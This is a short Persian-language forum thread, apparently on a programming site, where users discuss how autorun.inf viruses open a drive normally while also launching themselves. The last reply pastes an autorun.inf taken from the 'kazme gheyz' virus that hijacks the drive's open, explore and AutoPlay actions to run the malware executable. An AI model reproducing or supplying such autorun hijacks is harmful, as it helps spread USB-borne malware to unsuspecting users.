ورود

View Full Version : سوال: اگر در رابطه با سورس ویروسهایی که با استفاده از فایلهای Autorun.inf اجرا می شوند اطلاعتی دارید کلیک



good_boy
یک شنبه 22 دی 1387, 06:24 صبح
حتما شما می دونید که این گونه ویروسها برای این که در زمان دابل کلیک بروی درایو اجرا بشوند یک فایل autorun.inf ایجاد می کنند
سوال من این هست که چطور وقتی روی درایو دابل کلیک میشه درایو به صورت عادی باز میشه و ویروس هم همراهش اجرا میشه در حالی که باید فقط ویروس باز بشه(چون در فایل autorun به ویروس اشاره شده)
این چه کدی هست که باعث میشه درایو به صورت عادی باز بشه؟!!!

Babak.Hassanpour
یک شنبه 22 دی 1387, 12:10 عصر
ویروس موقع اجرا App.Path رو میتونه بدست بیاره.کاراکتر اول از سمت چپ درایو مربوطه رو نشون میده که میشه با دستورات باز کردن پنجره در وی بی اون رو به صورت معمول بازکرد.

saeid12
یک شنبه 22 دی 1387, 14:26 عصر
من اینو از ویروس کاظمه قیز پیچوندم همونیه که میخوای.

[autorun]
OPEN=kazme_gheyz.exe
shell\AutoPlay=Open Safely...
shell\AutoPlay\Command=kazme__gheyz.exe /open
shell\open=Open
shell\open\Command=kazme__gheyz.exe /open
shell\open\Default=1
shell\explore=Explore
shell\explore\Command=kazme__gheyz.exe /Explore